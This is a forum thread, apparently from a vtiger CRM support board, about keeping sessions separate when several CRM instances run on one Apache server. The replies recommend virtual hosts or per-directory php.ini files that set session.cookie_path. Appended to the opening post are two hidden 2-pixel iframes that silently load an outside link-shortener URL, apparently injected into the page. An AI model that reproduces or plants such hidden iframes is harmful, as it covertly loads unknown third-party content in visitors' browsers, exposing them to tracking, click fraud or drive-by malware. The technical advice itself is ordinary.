Hi.
I have managed how to install multiple copies of the vtigercrm in one apache server, and every instance has now its own db and settings.
The problems arise with the sessions.
When i type in my browser <!-- m --><a class="postlink" href="xttp://vtigerSite/instance1">xttp://vtigerSite/instance1</a><!-- m --> it goes on the first copy of my vtiger and le me log in.
When in another tab or window i type <!-- m --><a class="postlink" href="xttp://vtigerSite/instance2">xttp://vtigerSite/instance2</a><!-- m --> obviously it read a session variable shared by the first instance.
How can i avoid this behavior and to force different directories to have separated sessions ? <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe> <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>
Comments
the cookies are associated to the domain. so what we do is create virtualhosts in apache for each of our installations.
joe
tsolucio
i said "virtualhosts", these are different names associated to one ip. you will have to read the apache manual and learn how to configure it.
if you need help send me a message and we can configure it for you.
regards, joe
tsolucio
some good tips but from older version...
regards,
ln
the solution is very simple. one has to set up the php variable session.cookie_path for each installation. i did this by placing a php.ini file in each installation directory.
/vtiger-installation1/php.ini:
---
session.cookie_path = "/vtiger-installation1/"
---
/vtiger-installation2/php.ini:
---
session.cookie_path = "/vtiger-installation2/"
---
as a result we get multiple phpsessid cookies, one for each installation.
for your configuration the solution would be two files:
/instance1/php.ini
---
session.cookie_path = "/instance1/"
---
/instance2/php.ini
---
session.cookie_path = "/instance2/"
---
this will result in having a separate phpsessid cookie for each vtiger installation.